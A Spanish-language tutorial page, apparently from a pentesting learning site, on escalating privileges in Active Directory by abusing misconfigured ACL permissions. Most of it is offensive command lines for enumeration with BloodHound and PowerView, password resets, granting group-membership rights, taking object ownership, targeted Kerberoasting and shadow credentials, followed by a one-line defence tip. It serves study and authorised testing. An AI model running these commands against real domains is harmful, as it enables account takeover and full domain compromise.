Escalada

Abuso de permisos ACL

Cómo un permiso mal configurado sobre un objeto de Active Directory se convierte en una ruta directa a Domain Admin.

Qué es

El abuso de permisos ACL aprovecha permisos mal configurados sobre objetos de Active Directory. Con el permiso correcto, el atacante modifica una cuenta o un grupo y escala privilegios. No necesita exploit ni malware: usa operaciones normales del directorio.

Cómo funciona

Cada permiso de una ACL es una función administrativa legítima. Windows no revisa cómo se combinan esos permisos entre objetos. Quien tiene permiso sobre un objeto puede modificarlo: su contraseña, su dueño, su lista de permisos o sus atributos. El atacante encadena permisos pequeños hasta alcanzar una cuenta privilegiada. Ejemplo: WriteDACL sobre un grupo deja concederte el permiso de añadir miembros, te añades al grupo, y ese grupo tiene GenericAll sobre un Domain Admin. Ningún paso rompe una regla: todo parece administración normal.

Diagrama

Comandos

Primero mapea quién puede modificar qué:

bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -ns <IP> -c All

Con PowerView, lista las ACL interesantes desde tu sesión:

Find-InterestingDomainAcl -ResolveGUIDs

GenericAll o ForceChangePassword: resetea la contraseña del objetivo.

$pw = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
Set-DomainUserPassword -Identity <TARGET> -AccountPassword $pw

Lo mismo desde Linux:

bloodyAD -u <USER> -p <PASSWORD> -d <DOMAIN> --host <IP> set password <TARGET> <PASSWORD>

WriteDACL: concédete el permiso de editar los miembros del grupo.

Add-DomainObjectAcl -TargetIdentity <GROUP> -PrincipalIdentity <USER> -Rights WriteMembers

Desde Linux:

dacledit.py -action write -rights WriteMembers -principal <USER> -target <GROUP> -dc-ip <IP> <DOMAIN>/<USER>:<PASSWORD>

Ahora añádete al grupo objetivo:

Add-DomainGroupMember -Identity <GROUP> -Members <USER>
bloodyAD -u <USER> -p <PASSWORD> -d <DOMAIN> --host <IP> add groupMember <GROUP> <USER>

WriteOwner: toma la propiedad y luego reescribe la DACL.

Set-DomainObjectOwner -Identity <GROUP> -OwnerIdentity <USER>
Add-DomainObjectAcl -TargetIdentity <GROUP> -PrincipalIdentity <USER> -Rights WriteMembers

Desde Linux, primero cambia el dueño:

owneredit.py -action write -new-owner <USER> -target <GROUP> -dc-ip <IP> <DOMAIN>/<USER>:<PASSWORD>

GenericWrite: asigna un SPN y haz Kerberoasting dirigido.

Set-DomainObject -Identity <TARGET> -Set @{serviceprincipalname='<SPN>'}

Automatizado desde Linux:

targetedKerberoast.py -u <USER> -p <PASSWORD> -d <DOMAIN> --dc-ip <IP>

GenericWrite también sirve para credenciales shadow y robar el hash del objetivo:

certipy shadow auto -u <USER>@<DOMAIN> -p <PASSWORD> -account <TARGET> -dc-ip <IP>

Cómo defenderse

Audita las DACL de los objetos Tier 0 y quita las delegaciones que ya nadie usa.

Siguiente

Puedes seguir leyendo aquí:

Evasión de defensasInyección de procesos

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.